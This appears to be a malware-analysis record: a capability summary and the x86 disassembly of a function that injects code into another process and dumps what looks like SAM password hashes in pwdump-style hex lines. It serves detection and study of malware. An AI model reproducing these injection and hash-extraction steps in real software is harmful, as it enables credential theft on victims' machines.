Function at 0x10001a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x72c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x728], eax
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push esi
push edi
lea esi, [esp + 0x30]
mov dword [esp + 0x28], eax
mov dword [esp + 0x40], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x20], ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], ebx
call fcn.10001000
test eax, eax
jne 0x10001ac8
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x728]
xor ecx, esp
call fcn.10002322
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_CreateEventA]
push str.GlobalSAM
push ebx
push ebx
push ebx
call esi
push str.GlobalFREE
push ebx
push ebx
mov edi, eax
push ebx
mov dword [esp + 0x3c], edi
call esi
mov dword [esp + 0x44], eax
cmp edi, ebx
je 0x10001e3f
cmp eax, ebx
je 0x10001e3f
mov ecx, 0x10001230
cmp ecx, 0x10001780
jae 0x10001e45
mov edi, 0x10001780
sub edi, 0x10001230
mov dword [esp + 0x4c], edi
call fcn.10001190
test eax, eax
jne 0x10001e45
call fcn.100010e0
mov dword [esp + 0x1c], eax
cmp eax, ebx
je 0x10001e45
lea eax, [esp + 0x1c0]
call fcn.10001790
test eax, eax
jne 0x10001e45
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x40
push 0x1000
push 0x170
push ebx
mov ebx, dword [esp + 0x2c]
push ebx
call esi
mov dword [esp + 0x24], eax
test eax, eax
je 0x10001e3f
lea edx, [esp + 0x14]
push edx
push 0x170
lea ecx, [esp + 0x1c8]
push ecx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001e3f
cmp dword [esp + 0x14], 0x170
jne 0x10001e45
push 0x40
push 0x1000
push edi
push 0
push ebx
mov dword [esp + 0x28], 0
call esi
mov dword [esp + 0x20], eax
test eax, eax
je 0x10001e3f
lea edx, [esp + 0x14]
push edx
push edi
push 0x10001230
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001e3f
cmp dword [esp + 0x14], edi
jne 0x10001e45
mov esi, dword [esp + 0x24]
mov edi, dword [esp + 0x20]
mov eax, esi
mov dword [esp + 0x14], 0
call fcn.10002110
mov dword [esp + 0x40], eax
test eax, eax
je 0x10001e3f
mov eax, dword [esp + 0x2c]
push 0x7530
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10001e3f
lea ecx, [esp + 0xc]
push ecx
push 0x170
lea edx, [esp + 0x58]
push edx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
call esi
test eax, eax
je 0x10001e3f
cmp dword [esp + 0xc], 0x170
jne 0x10001e45
mov eax, dword [esp + 0x1b8]
push eax
mov dword [esp + 0x10], 0
call fcn.1000240e
add esp, 4
mov dword [esp + 0x18], eax
test eax, eax
je 0x10001e45
mov ecx, dword [esp + 0x1b8]
mov eax, 0xba2e8ba3
mul ecx
mov eax, dword [esp + 0x18]
shr edx, 5
mov dword [esp + 0x10], edx
lea edx, [esp + 0xc]
push edx
push ecx
mov ecx, dword [esp + 0x1c4]
push eax
push ecx
push ebx
call esi
test eax, eax
je 0x10001e3f
mov edx, dword [esp + 0xc]
cmp edx, dword [esp + 0x1b8]
jne 0x10001e45
xor edi, edi
mov dword [esp + 0xc], edi
cmp dword [esp + 0x10], edi
jbe 0x10001d1e
mov esi, dword [esp + 0x18]
add esi, 4
nop
mov eax, dword [esi]
mov ebx, dword [esi - 4]
add eax, 2
push eax
call fcn.1000240e
add esp, 4
mov dword [esi - 4], eax
test eax, eax
je 0x10001d1e
mov edx, dword [esi]
lea ecx, [esp + 0xc]
push ecx
push edx
push eax
mov eax, dword [esp + 0x28]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
je 0x10001d1e
mov eax, dword [esi]
cmp dword [esp + 0xc], eax
jne 0x10001d1e
mov ecx, dword [esi - 4]
shr eax, 1
xor edx, edx
inc edi
add esi, 0x2c
mov word [ecx + eax*2], dx
cmp edi, dword [esp + 0x10]
jb 0x10001cd0
mov eax, dword [esp + 0x44]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
je 0x10001e45
mov ecx, dword [esp + 0x2c]
push 0x7530
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10001e45
cmp dword [esp + 0x10], eax
jbe 0x10001e45
mov ebx, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
add ebx, 0xc
mov dword [esp + 0x48], edx
mov esi, dword [ebx - 0xc]
lea eax, [esp + 0x330]
push eax
call fcn.100022c0
add esp, 4
test eax, eax
je 0x10001e2f
mov ecx, dword [ebx - 4]
push ecx
lea edx, [esp + 0x334]
push edx
push str._s:_d:
lea esi, [esp + 0x3c]
call fcn.10001060
add esp, 0xc
mov edi, 0x10
nop
movzx eax, byte [ebx + edi]
push eax
push str._02x
lea esi, [esp + 0x38]
call fcn.10001060
inc edi
add esp, 8
cmp edi, 0x20
jb 0x10001da0
push 0x1000d5dc
call fcn.10001060
add esp, 4
xor edi, edi
jmp 0x10001dd0
movzx ecx, byte [ebx + edi]
push ecx
push str._02x
lea esi, [esp + 0x38]
call fcn.10001060
inc edi
add esp, 8
cmp edi, 0x10
jb 0x10001dd0
push str.:::_n
call fcn.10001060
add esp, 4
mov eax, esi
call fcn.100010d0
mov edi, eax
cmp edi, 0x40000
jbe 0x10001e2f
mov eax, esi
call fcn.100010c0
mov esi, dword [esp + 0x28]
push eax
push esi
call fcn.100021d0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
lea esi, [esp + 0x30]
call fcn.10001040
add ebx, 0x2c
sub dword [esp + 0x48], 1
jne 0x10001d62
jmp 0x10001e45
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x30]
call fcn.100010d0
mov edi, eax
test edi, edi
jbe 0x10001e65
lea eax, [esp + 0x30]
call fcn.100010c0
mov edx, dword [esp + 0x28]
push eax
push edx
jmp 0x10001e8c
push str.____no_results.
lea esi, [esp + 0x34]
call fcn.10001060
add esp, 4
mov eax, esi
call fcn.100010d0
mov edi, eax
mov eax, esi
call fcn.100010c0
push eax
mov eax, dword [esp + 0x2c]
push eax
call fcn.100021d0
mov eax, dword [esp + 0x34]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 8
test eax, eax
je 0x10001ea5
push eax
call edi
mov eax, dword [esp + 0x44]
test eax, eax
je 0x10001eb0
push eax
call edi
mov ebx, dword [esp + 0x1c]
test ebx, ebx
je 0x10001ebb
push ebx
call edi
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test eax, eax
je 0x10001ed7
push 0x8000
push 0x170
push eax
push ebx
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x10001eed
mov ecx, dword [esp + 0x4c]
push 0x8000
push ecx
push eax
push ebx
call esi
mov eax, dword [esp + 0x40]
test eax, eax
je 0x10001ef8
push eax
call edi
mov ebx, dword [esp + 0x18]
test ebx, ebx
je 0x10001f2a
mov edi, dword [esp + 0x10]
test edi, edi
jbe 0x10001f21
mov esi, ebx
mov eax, dword [esi]
test eax, eax
je 0x10001f19
push eax
call fcn.10002331
add esp, 4
add esi, 0x2c
sub edi, 1
jne 0x10001f0a
push ebx
call fcn.10002331
add esp, 4
lea eax, [esp + 0x30]
call fcn.100010a0
mov ecx, dword [esp + 0x734]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.10002322
mov esp, ebp
pop ebp
ret